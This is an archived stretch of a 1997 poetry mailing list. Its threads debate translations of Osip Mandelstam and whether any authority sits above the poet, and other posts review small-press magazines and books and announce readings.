Yes, I know, they're translations. But is there anybody out there who can tell me about the quality of these translations in the Penguin paperback edition of Osip Mandelshtam SELECTED POEMS? I compared the poem on Stalin, for instance, to the version in Rothenberg and Joris's POEMS FOR THE MILLENIUM, and the translation in the Penguin book was much the weaker poem, it seemed to me--no idea of how it relates to the original. Sorry not to have names of translators here at work. It's just that, in the case of this one poem, the SELECTED POEMS translation seemed so much weaker as a poem that I wondered if I was getting weak translations throughout. Obviously, since they're translations, I'm missing SOMETHING, but suddenly I began to wonder how close I was getting to missing EVERYTHING.

Thanks in advance for anyone who can help me here.

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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48. henry
Re: simplicity...
Mon 2 Jun 1997

I thought we were considering a "case" in po-biz. I see no sharp division between law & ethics, especially in an organizational situation where basically "we" (the "writing people") set up the rules. The rules are an expression or an attempt toward "fairness". The aim of the discussion was not to get inside the motivations of the "guilty party" but to consider, using an example, what the rules of the game - in a game fraught with conflicts of interest - actually are.

Tom certainly has a point that the contest po-biz wasteland is getting away from talking about poetry, poems. But then "poetics" means the whole dang valley in which it persists. As this endless conversation on hundreds of topics has proved for a long time. As I understand it, Tom was also saying that the real game (making poetry) has no "rules" & all this talk just clouds the issue. But we were talking about that "other" game...

zzzz...goes the wasp... - Henry

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49. henry
Re: Osip Mandelshtam translations in Penguin
Mon 2 Jun 1997

My opnion as a non-Russian-reader who's read a lot of these translations:

there isn't a good one yet.

The Selected Poems you're referring to I think was done by Clarence Brown & WS Merwin. They sound to my ear much too Merwin. The rhythm & speed & tone of Mandelstam is a whole different animal.

I like the big book of complete Mandelstam published by SUNY way back & I think trans. by Sidney Monas & Burton Raffel. It's got something of OM's edge - but for me the rhythm is still too loose & the diction off a lot (I'm going by my sense of smell here). But for me it's pretty good.

Trans. by James Greene seem too precious & "literary". Richard McKane I like reading (they're relatively new on the scene) - but again seem sort of wooden. What I like best besides Monas/Raffel came out a long time ago, trans. by a Scottish guy, David McDuff (I think?) - long out of print? - but capture something of his pathos & strangeness - esp. in the early OM.

I know Tom Mandel has some opinions here, & has trans. OM himself - we've backchanneled on this one before - eh, boxer-man? Anybody else want to get in the ring?

there's a re-issue in a handy format of the Complete Critical Prose that just came out from Ardis press - very helpful in getting into the feel of the poetry, along with Nadezhda Mandelstam's GREAT memoirs (excellent summer reading, if you like Dostoevsky) - Henry G

↑ Index

50. L. MacMahon and T.R. Healy
tinfish on a hot day
Mon 2 Jun 1997

It's been so hot here in Ireland the last few days that I thought why not have another look at tinfish #4? So I did.

The opening poem _Le Livre de'histoire du monde_ by Murray Edmond is astonishing, not least because it manages to keep up the momentum of its bracing opening:

> The world was stitched together at noon
> on Sunday out of old bicycle parts
> by a mouse with thread of ice and eelskin silk.

A creation myth which, after many readings, remains an endlessly renewable source of energy and renewal.

And towards the end of the zine there's Murray's _The Gannets of Pilsen_ in which a series of narrative fragments wheel around each other maintaining a dynamic formation that does not depend on any central structure. A surprise second helping and a delight.

John Kinsella's _nature morte: Oh Rhetoric! is a very remarkable work. Casual almost to the point of slackness, repetitive, it uses the device of discussing and agonising over another poem: _Trans-celluloid Vision_. With these unassuming means a huge scale is encompassed. And for a poem that eschews or quotability, it is utterly unforgettable. This was a real find. A triumph.

In a lovely piece of editing, John's expansive piece is followed by a beautiful 7 line poem by Yunte Huang called _Tofu Your Life_ . Very engaging. Exactly the sort of thing to keep to the front of your files to show those people who would like to read poetry but won't because they're scared that they'll be humiliated or something. If you've forgotten what charm is, a quick look at this will refresh your memory.

Hazel Smith's three pieces, _Perguiltspek_ (shunder urtli stroqua agalan stroqualan ault?), _Poetics_ (a woman tearing the bread of being/a woman tonguing the wine or syntax) and _Monologue_(When I started to read Freud I couldn't believe how much he and I had in common) are a joy. Masterly, endlessly inventive, out-aphorising Blake, sinuous, threatening to break into a bio-story at every point but bringing the reader to more and more exciting and unexpected places.

I've had a great day. Spent a lot of time in the garden pushing two of my daughters, Flo (6) and Genevieve(3) on the swing with one hand while holding tinfish in the other and reading aloud. They were all for it. Just keep pushing.

Don't want to make this post too long, but it would be a scandal not to mention Richard Hasaki's _Da Mento Hospital_, Cydney Chadwick's _Hangman_, Rebecca Mays Ernest's _Scratch Factor_ and well the entire contents of this vivacious fish. Can't wait for #5.

Randolph Healy.

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51. Ken Edwards

Nicole Brossard

Mon 2 Jun 1997

We are proud to announce the publication of
TYPHON DRU
by
Nicole Brossard
REALITY STREET EDITIONS · June 1997 £5.50

Two sequences of poems, in a specially commissioned translation by poet Caroline Bergvall, from the leading French-Canadian writer, twice winner of the Governor General's prize for poetry, and of the highest literary award for Quebec literature, le prix Athanase-David.

Nicole Brossard in Cambridge reading from her work:
Friday June 27 Anglia University, East Road, 6.30 pm

reading and in conversation:
Saturday June 28, Kettle's Yard House, Northampton St, 12 noon
(opposite the gallery entrance)

Ms Brossard will read from the dual-language text and talk about her writing. She is the author of more than 20 works of fiction and poetry and has influenced a whole generation by her thinking on post-modernist, experimental, feminist and lesbian writing. She has directed films and co-founded two important literary periodicals, La Barre du Jour and La Nouvelle Barre du Jour. Her novel Mauve Desert has been translated into English, Spanish, German and Dutch. This rare appearance by Nicole Brossard in the UK forms part of her tour in which she is scheduled to appear at the Canadian High Commission and at Quebec House in London, and to be a plenary speaker at the Leeds University Conference on Women and Texts: Languages, Technologies and Communities. Her readings in Cambridge will offer those interested and involved with issues of experimental writing, women's creativity, texts and languages an opportunity to engage with Ms Brossard in an atmosphere of informal discussion.

We look forward to welcoming you to these events.
RSE gratefully acknowledges funding support from the Arts Council of England and
the Eastern Arts Board.

For further information please contact:
Wendy Mulford 01728-604169
6 Benhall Green, Saxmundham, Suffolk IP17 1HU
or
Ken Edwards email: [redacted]

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52. Pierre Joris
Re: Osip Mandelshtam translations in Penguin
Mon 2 Jun 1997

Bruce McClelland's translation of TRISTIA (Station Hill Press, 1987,
most likely still in print) is the one I feel comes closest to what I
take to be Mandelstam's diction & rhythms. But, yes, new translations of
OM are much needed -- & good ones, as indeed most of britisher
&Merwinesques sound pale & flat & boring. Not having Russian I read him
mostly in Paul Celan's German translations, which are absolutely
splendid. -- Pierre
--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

Everything that allows men to become rooted, through
values or sentiments, in _one_ time, in _one_ history, in
one language, is the principle of alienation which
constitutes man as privileged in so far as he is what he is,
[...] imprisoning him in contentment with his own reality
and encouraging him to offer it as an example or impose
it as a conquering assertion. -- Maurice Blanchot
==========

↑ Index

53. George Bowering
Re: simplicity...
Mon 2 Jun 1997

>Tom saith --
>
>> Listen up. In poetry, there is *no* authority that sits above the
>> poet. None.
\

So let me get this straight: you are saying that on this point, Shelley, Keats, Yeats, Duncan, Rilke and Milton were all wrong?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

54. David Israel
Re: simplicity...
Mon 2 Jun 1997

> *George Bowering <[redacted]> 06/02/97 06:16pm >>>*
> *Tom saith --*
>
> *Listen up. In poetry, there is *no* authority that sits above the poet. None.*

And George Bowering riposteth:

> *So let me get this straight: you are saying that on this point, Shelley, Keats, Yeats, Duncan, Rilke and Milton were all wrong?*

(not that this is mine to tussle, but) let me get this straight: are you saying that Shelley, Keats, Yeats, Duncan, Rilke and Milton were not poets? (or hey, maybe I'm missing some nuance of the argument?)

d.i.

↑ Index

55. sschu30844
Re: tinfish on a hot day
Mon 2 Jun 1997

Dear Randolph--thanks so much for your letter/message! It's always good to hear that Tinfish has attentive readers and I'm delighted that your daughters heard it too. I'm trying to copy the message, but my printer has decided to spew forth dozens of blank pages, so it may not happen... Hot in Ireland! It's stifling here, despite the fact that there are still breezes (they end in August through October, alas). But I'll be moving this summer to the other side of the island, where it's cooler, if a bit farther away from the university. My sabbatical will end soon...it's been good, if not as a time to get a lot of work done. The printer "prints" on. Stay in touch...I'll let you know when the next fish is nearing completion. Tomorrow I pick up the chapbook we've just done up--poems by me and John Kinsella. Wordy ones! all best, Susan

↑ Index

56. Daniel Zimmerman
Re: simplicity...
Mon 2 Jun 1997

George Bowering wrote:
>
> >Tom saith --
> >
> >> Listen up. In poetry, there is *no* authority that sits above the
> >> poet. None.
> \
>
> So let me get this straight: you are saying that on this point, Shelley,
> Keats, Yeats, Duncan, Rilke and Milton were all wrong?
>
> George Bowering.
> ,
> 2499 West 37th Ave.,
> Vancouver, B.C.,
> Canada V6M 1P4
>
> fax: [redacted]
> e-mail: [redacted]

Zing! Pow! Nous-zap! Urania Mania!
(& Homer Hesiod Sappho Pindar Blake
Dante Rumi David Virgil Saint
John of the Cross Dickinson Yeats
to add a few to the receptive queue...

Dan Zimmerman
485 Parsonage Road
Edison, NJ 08837
[redacted]

↑ Index

57. Daniel Zimmerman
Re: simplicity...
Mon 2 Jun 1997

David Israel wrote:
>
> >>> George Bowering <[redacted]> 06/02/97 06:16pm >>>
> >Tom saith --

> >
> >> Listen up. In poetry, there is *no* authority that sits above the
> >> poet. None.
>
> And George Bowering riposteth:
>
> >So let me get this straight: you are saying that on this point, Shelley,
> >Keats, Yeats, Duncan, Rilke and Milton were all wrong?
>
> (not that this is mine to tussle, but) let me get this straight: are you
> saying that Shelley, Keats, Yeats, Duncan, Rilke and Milton were not
> poets? (or hey, maybe I'm missing some nuance of the argument?)
>
> d.i.

David, I think George Bowering (& I, in a repost to him) just want to shift the discussion back to POETRY, rather than to "po-biz," which I take it Tom Mandel really means when he says "In poetry, there is *no* authority that sits above the poet." [After all, Tom also said "this [i.e., the imprimatur of arts administrators, even when poets] has nothing to do with poetry."

Dan Zimmerman
485 Parsonage Road
Edison, NJ 08837
[redacted]

↑ Index

58. David Israel
Re: simplicity... / authority
Mon 2 Jun 1997

possibly I should clarify my point:

1. when Tom Mandel writes,

> *Listen up. In poetry, there is *no* authority that sits above the poet. None.*

I believe the antecedent discussions (whence this provacative, categorical utterance emerges) would suggest asthe intended sense of "authority" here, an "external authority in the world" -- e.g., AWP Judges, graduate student readers, publishers, peers, editors, critics, your uncle Bill, your friend Simon, some Poet Laureate, or some excellent writer-friend.

When George Bowering counters,

> *So let me get this straight: you are saying that on this point, Shelley, Keats, Yeats, Duncan, Rilke and Milton were all wrong?*

I presume he means to suggest that the authority who is felt to be "above" (or "beyond") the poet is of this general ilk: God, the Muse, the Rose, Inspiration, the Heart, or the unutterable Silence. This seems of a different order of things / beings entirely.

While Tom's statement was couched (for rhetorical effect, presumably) in absolutist terms, I should like, as an exercise, to propose this revised form of the aphorism:

~~There is no authority higher than the author

A glancing notion of etymology (at leasts) suggests its verity.

Or am I still missing something?

d.i.

p.s.: I see Dan Zimmerman adds:

> *(& Homer Hesiod Sappho Pindar Blake Dante Rumi David Virgil Saint John of the Cross Dickinson Yeats to add a few to the receptive queue...*

all still relying on internal authority -- i.e., that which is accessible (if by luck or grace or inspiration) to the poet internally; not some person in the world whose opinion should be heeded . . . not, at least, a person extrinsic to the being of the poet himself (as Shams for Rumi, Beatrice for Dante, the "tender flame" for San Juan de la Cruz -- . . . all germane to the poet's own "deepest center", no?)

↑ Index

59. Daniel Zimmerman

Re: simplicity... / authority

Mon 2 Jun 1997

David Israel wrote:
>
> possibly I should clarify my point:
>
> 1. when Tom Mandel writes,
>
> > Listen up. In poetry, there is *no* authority that sits above the
> > poet. None.
>
> I believe the antecedent discussions (whence this provacative, categorical
> utterance emerges) would suggest asthe intended sense of "authority"

> here, an "external authority in the world" -- e.g., AWP Judges, graduate
> student readers, publishers, peers, editors, critics, your uncle Bill, your
> friend Simon, some Poet Laureate, or some excellent writer-friend.
>
> When George Bowering counters,
>
> >So let me get this straight: you are saying that on this point, Shelley,
> >Keats, Yeats, Duncan, Rilke and Milton were all wrong?
>
> I presume he means to suggest that the authority who is felt to be
> "above" (or "beyond") the poet is of this general ilk: God, the Muse, the
> Rose, Inspiration, the Heart, or the unutterable Silence. This seems of a
> different order of things / beings entirely.
>
> While Tom's statement was couched (for rhetorical effect, presumably) in
> absolutist terms, I should like, as an exercise, to propose this revised
> form of the aphorism:
>
> ~~There is no authority higher than the author
>
> A glancing notion of etymology (at leasts) suggests its verity.
>
> Or am I still missing something?
>
> d.i.
>
> p.s.: I see Dan Zimmerman adds:
>
> > (& Homer Hesiod Sappho Pindar Blake Dante Rumi David Virgil Saint
> > John of the Cross Dickinson Yeats to add a few to the receptive
> > queue...
>
> all still relying on internal authority -- i.e., that which is accessible (if by
> luck or grace or inspiration) to the poet internally; not some person in the
> world whose opinion should be heeded . . . not, at least, a person
> extrinsic to the being of the poet himself (as Shams for Rumi, Beatrice for
> Dante, the "tender flame" for San Juan de la Cruz -- . . . all germane to the
> poet's own "deepest center", no?)

Exactly.
DZ

↑ Index

60. Herb Levy
Praise Song
Mon 2 Jun 1997

Just a brief note to recommend Aldon Nielsen's Black Chant: Languages of African American Postmodernism. I've only had a chance to skip around in it so far, but it's really great. Critical insights, oddball anecdotes, clever digs at Stanley Crouch, historical details, and a great bibliography.

When Aldon announced it on the list, he said something like "You'll learn about at least one interesting poet you've never heard of." He sure got that right. WhileI'd known the work of some of the writers discussed here (& I was really happy to be reminded of Norman Pritchard) the scope of his project here is incredible. If only the libraries around here had been smart enough to get all this stuff years ago. Oh well.

The last chapters on jazz and poetry, which I knew more about beforehand, are also very very good. I don't think I've ever read any serious discussion of Cecil Taylor as a poet before (other than the interview in Hambone). Aldon's descriptions of the recordings I've heard are evocative enough to remind me of one or two things I wish I still owned. If only I'd been smart enough to keep all this stuff years ago.

Oh well.

All your academic libraries should have it, though in a recent face to face discussion with a list member from another locale I heard of a university library that needed some prodding to order it for their general collection.

Herb Levy
[redacted]

↑ Index

61. Herb Levy
New Traditions in East Asian Bar Bands
Mon 2 Jun 1997

The subject line is the title of a new CD by John Zorn released by the Tzadik label that MIGHT be of interest to some on the list, at least as an odd bibliographic item for both Lyn Hejinian & Myung Mi Kim.

The work is a suite of three compositions for pairs of musicians playing the same instrument & a narrator. The texts are by Hejinian, Kim, and Arto Lindsay (probably best known as a guitarist). In Hue Die, Lindsay's text (translated into Chinese) is narrated by Zhang Jinglin, accompanied by guitarists Bill Frisell & Fred Frith. In Hwang Chin-Ee, Kim's texts (in Korean) are narrated by Jung

Hee Shin, accompanied by drummers Joey Barron and Samm Bennett. & lastly, in Que Tran, Hejinian's text (translated into Vietnamese) is narrated by Ahn Tran, accompanied by keyboard players Wayne Horvitz & Anthony Coleman. The English language texts are provided in the artfully designed, though sometimes difficult to read (Hejinian's text is printed in a minuscule font in gold ink on a dark gray photo), booklets accompanying the CD.

While there are shifts in tone & style, the music stays in one style for a while before changing & in general the 3 pieces are each more consistently evocative of a single mood than the standard critical line on Zorn's work might lead you to expect.

Herb Levy
[redacted]

↑ Index

62. Herb Levy
Re: No more umlauts ...
Mon 2 Jun 1997

I'm not a big advocate of fancy formatting in e-mail , but, for what its worth, this problem wasn't simply with receiving the message filtered through Eudora on a Mac, from an account on a UNIX server.

That's what I have here & the message came through fine except for the en & em dashes. It's just as likely to be an issue of what is available in the screen fonts chosen by folks in their mail programs.

(related poetics content: can anyone remind me of the source for the Frank O'Hara line something like "Did you notice that weird non-standard spelling I used for Tchaikovsky a few lines back"?)

> *Dean Taciuch kindly bounced back my e-mail message, which he'd filtered through Eudora on a Mac, from an account on a UNIX server. All the fancy umlaut formatting failed to get through, except for a | vertical space or two | and an & ampersand, which anyone can type straight from the keyboard!!*
>
> *One day, when the Mac shall lie down with the Clone ...*

Herb Levy
[redacted]

↑ Index

63. George Bowering
Re: simplicity...
Mon 2 Jun 1997

> *George Bowering <[redacted]> 06/02/97 06:16pm >>>*
> *Tom saith --*
>
> *Listen up. In poetry, there is *no* authority that sits above the poet. None.*
>
> *And George Bowering riposteth:*
>
> *So let me get this straight: you are saying that on this point, Shelley, Keats, Yeats, Duncan, Rilke and Milton were all wrong?*
>
> *(not that this is mine to tussle, but) let me get this straight: are you saying that Shelley, Keats, Yeats, Duncan, Rilke and Milton were not poets? (or hey, maybe I'm missing some nuance of the argument?)*
>
> *d.i.*

I am scratching my head, trying to figure out how you got that notion from what I said, or whether you are doing a jest I dont perceive. I am saying that all those poets happily say that there is an authority that sits above the poet. Milton, for instance, called him "Heavenly Muse."

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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64. Joseph Duemer
Re: list of poetry school
Mon 2 Jun 1997

Eliza McGrand- CVA Guest wrote:
>
> hi joe and henry -- can we make it boston, not just provident, and > maybe rather than anti-non-traditionalist, make it "poem centered and
> anti- ANY!-ist" and maybe, "age-and-gender-unconcerned" and then i'll > have a spot for my chapeau as well?...

> *doffing a small, rakishly tilted WW II black woolen dress-marine beret inherited from my father (or the cotton khaki summer version thereof...)*
>
> *e*

Eliza, quoting Bob Dylan, "I'll let you be in my dream if I can be in yours."

Cheers,
Joe

↑ Index

65. Daniel Zimmerman

Re: simplicity...

Mon 2 Jun 1997

George Bowering wrote:
>
> >>>> George Bowering <[redacted]> 06/02/97 06:16pm >>>
> >>Tom saith --
> >>
> >>> Listen up. In poetry, there is *no* authority that sits above the
> >>> poet. None.
> >
> >And George Bowering riposteth:
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> >>So let me get this straight: you are saying that on this point, Shelley,
> >>Keats, Yeats, Duncan, Rilke and Milton were all wrong?
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> >(not that this is mine to tussle, but) let me get this straight: are you
> >saying that Shelley, Keats, Yeats, Duncan, Rilke and Milton were not
> >poets? (or hey, maybe I'm missing some nuance of the argument?)
> >
> >d.i.
>
> I am scratching my head, trying to figure out how you got that notion from
> what I said, or whether you are doing a jest I dont perceive. I am saying
> that all those poets happily say that there is an authority that sits above
> the poet. Milton, for instance, called him "Heavenly Muse."
>
> George Bowering.
> ,
> 2499 West 37th Ave.,
> Vancouver, B.C.,
> Canada V6M 1P4

>
> fax: [redacted]
> e-mail: [redacted]

Well, Milton called _her_ "Heavenly Muse" [Urania, Muse of Astronomy], though he did try to assimilate her to the presumptively male inspirer of the Old Testament...

Dan Zimmerman

↑ Index

66. Bob Grumman
Re: simplicity...
Mon 2 Jun 1997

George Bowering wrote: "I am saying that all those poets happily say that there is an authority that sits above the poet. Milton, for instance, called him 'Heavenly Muse.'" But is a muse an authority or "only" an inspirer? Which thought makes me suddenly wonder (though I understand) why there is no muse of criticism, an inspirer of poets in fine frenzies, revising. Or is there? --Bob G.

↑ Index

67. Mark Weiss
unnamed things
Mon 2 Jun 1997

Today as I was scarfing down my frozen yogurt with predictable results it occurred to me that I don't know a standard term for the phenomenon--I've always called it, following Pogo, or perhaps Albert, "the cold cobbles," but that's hardly lingua franca. Any suggestions?

↑ Index

68. Rachel Loden
Re: who gets the makarships, etc.
Mon 2 Jun 1997

Anselm Hollo wrote (in part, and some time ago):

> *Thus, from the writing person's point of view, late-stage corporate capitalism may be seen as preferable to Stalinism, in that it is closer to medieval feudalism: troubadours hanging out with the "right" and better-connected overlords probably stood a better chance of having their works survive...*

Leave it to the Finn-born poet to see the long historical view, and to know something about surviving between giants.

One poem keeps tugging at me during all this recent talk. It's the complaint of the exiled, possibly early eighth century _makar_ (maker or poet), Deor. He ticks off various mythic griefs, always followed by the Anglo-Saxon refrain "thaes ofereode, thisses swa maeg," and ends with a carefully controlled bit of his own story. Here are the last few stanzas, translated by Michael Alexander:

We all knew that Eormanric
had a wolf's wit. Wide Gothland
lay in the grasp of that grim king,
and through it many sat, by sorrows environed,
foreseeing only sorrow; sighed for the downfall
and thorough overthrow of the thrall-maker.

That blew by; this may too.

When each gladness is gone, gathering sorrow
may cloud the brain; and in his breast a man
can not then see how his sorrows shall end.
But he may think how throughout this world
it is the way of God, who is wise, to deal
to the most part of men much favour
and a flourishing fame; to a few the sorrow-share.

Of myself in this regard I shall say this only:
that in the hall of the Heodenings I held long the makarship,
lived dear to my prince, Deor my name;
many winters I held this happy place
and my lord was kind. Then came Heorrenda,
whose lays were skillful; the lord of fighting-men
settled on him the estate bestowed once on me.

That has gone; this may too.

Rachel Loden

↑ Index

69. **henry**
Re: who gets the makarships, etc.
Mon 2 Jun 1997

Thanks, Rachel, for the old Deor, lovely necessity. I just saw K. Brannagh's Hamlet, & while for me Brannagh is not quite able to bring it off - somehow I think of Hamlet as tall, fat, slow, quick, slim, quiet & deadly, not roaring - it did bring home to me that for poets too, yes, there is a higher authority - & it's whoever Shakespeare really was. Some impersonality there & fortitude that penetrates everything.

I always thought the line went:

That storm rolled on; this one will too.

- the artist formerly known as Prince Hank

↑ Index

70. Stephen Cope
Re: Praise Song
Tue 3 Jun 1997

I'll second Herb's recommendation. Aldon's was a book that I read w/ a hunger that I'd not experienced in some time. What he's done w/ poetry/music adds a great deal to the scant amount of critical work that's been devoted to the subject, and he manages to do it while also calling attention to the continuum of which Taylor et al. are a part (a tradition which has gone for the large part ignored).

Three cheers...

Stephen Cope

> *Just a brief note to recommend Aldon Nielsen's Black Chant: Languages of African American Postmodernism. I've only had a chance to skip around in it so far, but it's really great. Critical insights, oddball anecdotes, clever digs at Stanley Crouch, historical details, and a great bibliography.*
>
> *When Aldon announced it on the list, he said something like "You'll learn about at least one interesting poet you've never heard of." He sure got that right. WhileI'd known the work of some of the writers discussed here (& I was really happy to be reminded of Norman Pritchard) the scope of his project here is incredible. If only the libraries around here had been smart enough to get all this stuff years ago. Oh well.*
>
> *The last chapters on jazz and poetry, which I knew more about beforehand, are also very very good. I don't think I've ever read any serious discussion of Cecil Taylor as a poet before (other than the interview in Hambone). Aldon's descriptions of the recordings I've heard are evocative enough to remind me of one or two things I wish I still owned. If only I'd been smart enough to keep all this stuff years ago.*
>
> *Oh well.*
>
> *All your academic libraries should have it, though in a recent face to face discussion with a list member from another locale I heard of a university library that needed some prodding to order it for their general collection.*

> *Herb Levy*
> [redacted]

↑ Index

71. KENT JOHNSON
Re: simplicity...
Tue 3 Jun 1997

On 2 June, Tom Mandel wrote:

> *Listen up. In poetry, there is *no* authority that sits above the poet. None.*

Well, and I'd jsut done gone and plum forgot. Why, I'm the Unacknowledged Legislator of the World!

Hi Ho Pegasus and away!!!

↑ Index

72. dbkk
Questions about who is where, etc. Thanks
Tue 3 Jun 1997

Hello everyone it's Kevin Killian, a day late and a dollar short. Thanks to all of you who helped me with my questions about Julius and Ethel Rosenberg. And for giving me all the different addresses for Mark Doty and Ishmael Reed.

I have some more stupid questions and am depending on my poetics pals again to pull my chestnuts out of the fire. Can anybody back channel me with the addresses of . . . Margaret Atwood? Galway Kinnell? William Wollman? Jeanette Winterson?

Also, I'd like to second Jay Schwartz' recommendation of the "Idiom" web site. I know there are many out there who think San Francisco writing scene is dead, but there are many young people here doing some fine work and making much commotion. Hooray for them! And now back to work for me on finishing the life of Jack Spicer which must be finished June 15th, wish me luck everyone. XXX, Kevin.

↑ Index

73. Pierre Joris
A noun cement
Tue 3 Jun 1997

For anybody in the NYC area this Sunday:

PIERRE JORIS
NICOLE PEYRAFITTE
Poetry /Slides /Chansons
Will read/sing/perform their work

SUNDAY JUNE 8th 1997 6:30 pm
@ "ZINC BAR" 90 West Houston
(one door west of the corner of Laguardia & Houston)

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

Everything that allows men to become rooted, through
values or sentiments, in _one_ time, in _one_ history, in
one language, is the principle of alienation which
constitutes man as privileged in so far as he is what he is,
[...] imprisoning him in contentment with his own reality
and encouraging him to offer it as an example or impose
it as a conquering assertion. -- Maurice Blanchot
==========

↑ Index

74. Maria Damon
dragon bond rite
Tue 3 Jun 1997

---

over the weekend i saw a preview of the pan-Asian dance/music extravaganza, dragon bond rite, for which our own Armand Schwerner has written the highly poetic libretto. highly recommended, will be at Japan Society in NYC soon, maybe already, check your datebooks and call the J Soc for more info, it was really extraordinary, a blend of distinct dance theatre and music traditions from Korea, Japan, Indonesia, India, and even an Tuvan (Mongolian) throat singer! and then American Buddhist text...lots of intense drumming, singing, stylized and wild dance movements, costumes, humor, sadness (death), sex, im/mortality...drumming by, in particular, a "koodiyattam" drummer from Kerala India, and by a Korean drummer, were intensely mind-opening. i tend to be a popular culture gal rather than an archaic-tradition gal, so i went mostly cuz of armand, but it was a tremendously rich experience, seeing/hearing a group of world-class virtuosi from diff traditions, none of which i ws familiar with, coordinating their efforts. md

↑ Index

75. Maria Damon
dragon bond rite ps
Tue 3 Jun 1997

ps armand, i didn't think to ask at the time, but wondered, why the title "dragon bond rite"?

↑ Index

76. Mark Prejsnar
Re: Praise Song
Tue 3 Jun 1997

I'd like to second Herb Levy's post re Black Chant... I have also just gotten into the book; but Aldon's previous books on race and U.S. poetry, Reading Race and Writing Between the Lines, are also essential....It has occured to me that race issues are conspicuous in their absense here on the list; at most a few striking and perennially controversial individuals like Baraka appear in our exchanges, as surrogates for larger issues. Aldon's work interacts in a vital and productive way with Mackey's essays in Discrepent Engagement, and with Damon's Dark End of the Street. As a white poet who's been strongly influenced by black ones, going back 20 years (including crucially Baraka and Mackey), this does seem to me to be an untapped series of themes here. All the books I've just mentioned are stage-setting and vital for our going forward in thinking about black/white, inclusion/exclusion, politics in relation to style and form...My one frustration with all of them is their tendency to address poetry issues in a way that's divorced from the physical reality of the poetry itself.. Politics and race can be talked about in a lot of different ways, but in relation to poetry you can't avoid (or shouldn't) issues of style, form, sound. All the more striking as these theorists are mostly suberb practitioners as well. (I strongly recommend Nielsen's recent book of poems, Stepping Razor..)

Mark Prejsnar
Atlanta

On Mon, 2 Jun 1997, Herb Levy wrote:

> *Just a brief note to recommend Aldon Nielsen's Black Chant: Languages of African American Postmodernism. I've only had a chance to skip around in it so far, but it's really great. Critical insights, oddball anecdotes, clever digs at Stanley Crouch, historical details, and a great bibliography.*
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> *that right. WhileI'd known the work of some of the writers discussed here (& I was really happy to be reminded of Norman Pritchard) the scope of his project here is incredible. If only the libraries around here had been smart enough to get all this stuff years ago. Oh well.*
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> *The last chapters on jazz and poetry, which I knew more about beforehand, are also very very good. I don't think I've ever read any serious discussion of Cecil Taylor as a poet before (other than the interview in Hambone). Aldon's descriptions of the recordings I've heard are evocative enough to remind me of one or two things I wish I still owned. If only I'd been smart enough to keep all this stuff years ago.*
>
> *Oh well.*
>
> *All your academic libraries should have it, though in a recent face to face discussion with a list member from another locale I heard of a university library that needed some prodding to order it for their general collection.*
>
> *Herb Levy*
> [redacted]

↑ Index

77. **Tom Mandel**

sure? sure I'm sure

Tue 3 Jun 1997

DAvid Bromige writes:

Date: Mon, 2 Jun 1997 08:29:03 -0700
From: David Bromige <[redacted]>
Subject: simplicity, a poem

sure of himself

_____

in that respect, not to be trusted

And I'm in complete agreement with that too. It is *because* certainty is not certain, there is no certain point nor final interpretation, that in poetry no authority sits above the poem (I meant to write)(in the sense that the poem *is* the poet -- insofar as there's any interest in the poet).

TM

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****

Join the Caucus Conversation

↑ Index

78. Aldon L. Nielsen

Re: thanks to Herb for those kind words

Tue 3 Jun 1997

Many university libraries will have at least something by Russell Atkins and another something by Norman H. Pritchard -- quite a few also have Loftis's _Black Anima_ -- to my very great surprise, the San Jose State library even had one of the anthologies from the Dasein group -- modest selections of other poets discussed in _Black Chant_ can be found in late 60s - early 70s anthologies widely circulated --

should also mention that Fred Moten has written of Cecil Taylor's poetry too -- don't know that he's ever published it, though -- Chris Funkhouser got me a copy of the talk --

to all on the list to whom I owe one thing or another, patience please -- just back from Baltimore & the American Lit. Association -- which I sahll attempt to describe later --

_____
some Mason & Dixon lines:

"Along with some lesser Counts," the Revd is replying, "'twas one of the least tolerable Offenses in that era . . . --the Crime they sty;'d 'Anonymity.' That is, I left messages posted publicly, but did not sign them."

". . . as it _is_ your, ye might say, Work-Station, reluctantly must I yield it to you . . ."

"Two youths of the Macaronic profession are indeed greatly preoccupied upon the boards of the floor, in seeking to kick and pummel, each into the other, some Enlightenment regarding the Topick of Virtual Representation."

"styl'd" for "sty;'d" above!

↑ Index

79. Tom Mandel

it's really very simple, he always seems to be saying

Tue 3 Jun 1997

Look -- if you subject yourself to a contest, if you *submit* something, then you are delivering yourself over to an authority beyond the world writing creates, the world in which you give your soul and its implications to the future and its implications.

If you do that, fine, it's your choice. Go right ahead.

If in submitting, you also expect the mechanism by which "the contest" (the game) is being run (by the power outside the world writing creates) to be 1) a fair mechanism and/or 2) a well-running mechanism, that's just foolish.

This has nothing of course to do with Dodie's sense of being victimized or passed over unfairly in Doug Messerli's contest. Dodie's my friend, and I don't want anything damaging to happen to her; if it does, then I'm upset. Doug Messerli is also my friend, however, and I don't want to see him accused of operating a cabal.

Virtually everything operates to normalize what poets do. It is a metonymic control, in that if you bring poets into an "institution" of poetry you then begin to exert social control over the poems themselves. There is very little difference between a grad school of creative writing and the Soviet Writers Union in this respect. These structures operate to the same end, namely to determine a minimum "fair" cost for controlling the imagination.

Stay away from it. Or, if you think you can trade a little bit of your birthright for a little bit of porridge, then at least learn to like the soup you get.

Tom

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****

Join the Caucus Conversation

↑ Index

80. henry
Re: it's really very simple, he always seems to be saying
Tue 3 Jun 1997

The trouble with writing is that the many-sided world begins to take on our one-sided black & white coloring. My "idealism" cancels out your "cynicism" & vice versa & both are trivialized by experience. (I mean our lenses become trivial, not experience.)

But maybe that's the slow road to a many-sided writing, after all.

